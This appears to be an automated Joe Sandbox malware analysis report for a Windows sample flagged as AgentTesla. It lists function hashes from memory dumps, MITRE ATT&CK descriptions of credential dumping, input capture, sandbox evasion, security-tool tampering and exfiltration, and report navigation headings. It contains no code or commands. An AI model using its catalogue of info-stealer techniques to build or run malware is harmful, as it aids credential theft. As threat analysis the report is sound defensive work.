Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ee6b886ff8cc3a55968500356e2fb87b37d855b469c12adc192ed005310800
Instruction ID: a5ec4dfd67374eed3c2706c95dbde16df935d55c2964c0660610671d418d13ae
Opcode Fuzzy Hash: 52ee6b886ff8cc3a55968500356e2fb87b37d855b469c12adc192ed005310800
Instruction Fuzzy Hash: AEF0A438A003189FDF15FFB9F88069CBBB5EB80302F0056A9C1049B258DF306E469B81

Non-executed Functions

Function 014DD1FB Relevance: 2.0, Instructions: 1995COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31f972cb6a5930bdfd6e5a86ca7fa30365f86845681ac6952b1a3aa51b09dba9
Instruction ID: c696f9d453a92d1615005edd246a38cb9b925394c6daa49f082ce5d186d272a8
Opcode Fuzzy Hash: 31f972cb6a5930bdfd6e5a86ca7fa30365f86845681ac6952b1a3aa51b09dba9
Instruction Fuzzy Hash: 8123FB31D10A198ACB11EF68C8946A9F7B1FF99300F15C79AE449B7225EB70AAC5CF41

Function 06264FE0 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96dca16c05168ebe8caba15a2edb50350d09f809b5818b95462054592db1741b
Instruction ID: 4a0fea0077fe3d7ce426420d03ee778ff9296d60696f3d51f582bb0850e4ce38
Opcode Fuzzy Hash: 96dca16c05168ebe8caba15a2edb50350d09f809b5818b95462054592db1741b
Instruction Fuzzy Hash: 18121130E1021ACFDB64DF66D85469EB7B2BF88305F208569E40AAB355DB71DD81CF90

Function 0626321F Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858309771.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c60651883d05fdd1e4447859231f7c1b7d30c2d1e129819dc384af0b42a3a7f
Instruction ID: d0f685d068e79e161daa0fa72d7bea488d8e08530881286137b71f4148333d86
Opcode Fuzzy Hash: 4c60651883d05fdd1e4447859231f7c1b7d30c2d1e129819dc384af0b42a3a7f
Instruction Fuzzy Hash: 75E1E531B201158FDF54DB6AD494AAEBBF6FF89320F25846AE806DB351CA31DC81C790

Function 063A1128 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858415557.00000000063A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63a0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db8c060700ed885ce54e15eab82748ddccbee15ef14485539bd399b01c55e774
Instruction ID: 9128bdfd8554294dd15b810e7deb39a4703b980f85693651c73537fd4791634d
Opcode Fuzzy Hash: db8c060700ed885ce54e15eab82748ddccbee15ef14485539bd399b01c55e774
Instruction Fuzzy Hash: 9C1275F1DD17458AD310CF66E94C18A7BB1BBC6328BD04B29D2612B2E1DBB415EACF44

Function 014D4190 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856214895.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14d0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8af1d2f7549ff8e35214b789422375e09b25c64117e1c163bc382463385b2e6
Instruction ID: 465d7574b9e44fad4cf1365868cba28b66c3af895f6154511c882430e5f1f8ec
Opcode Fuzzy Hash: f8af1d2f7549ff8e35214b789422375e09b25c64117e1c163bc382463385b2e6
Instruction Fuzzy Hash: 4CB13F70E00209CFDF14CFADD9957AEBBF2AF88314F18852AD415A77A4DB749885CB81

Function 063AF0B8 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858415557.00000000063A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63a0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b1ab205af3171252f09359549408819953279866a9b3f678a334c4b77bb5393
Instruction ID: 31d02fc194e86f46e31d543641ecf5694d96a6526c22191ee61abc21c80f5957
Opcode Fuzzy Hash: 7b1ab205af3171252f09359549408819953279866a9b3f678a334c4b77bb5393
Instruction Fuzzy Hash: 8DA15832E103098FCF59DFB5C8445AEB7B6FF85300B15816EE816AB261DB31E916DB80

Function 063A1122 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3858415557.00000000063A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63a0000_pE7icjUisS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c976cd451f761218a5bca8c5b98d8f6f80b11e1b1768efb753ded68c6cd5c531
Instruction ID: e7eda1af37eccec7c18186aecc72900fbf78b8b31c75a3c9518054ca25d95e59
Opcode Fuzzy Hash: c976cd451f761218a5bca8c5b98d8f6f80b11e1b1768efb753ded68c6cd5c531
Instruction Fuzzy Hash: EDC1D6B1DD17458AD714CF66E84828A7BB1BBC6324FE04B29D2616B2D0DBB414EACF44

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pE7icjUisS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
pE7icjUisS.exe

Function 06262AF8 Relevance: .6, Instructions: 586
COMMON

Function 0626BCD8 Relevance: .6, Instructions: 570
COMMON

Function 062656C0 Relevance: .5, Instructions: 474
COMMON

Function 0626DC00 Relevance: .3, Instructions: 337
COMMON

Function 014D4A60 Relevance: .3, Instructions: 266
COMMON

Function 0626E167 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 0626E180 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Function 014D7990 Relevance: .6, Instructions: 559
COMMON

Function 014D9768 Relevance: .4, Instructions: 359
COMMON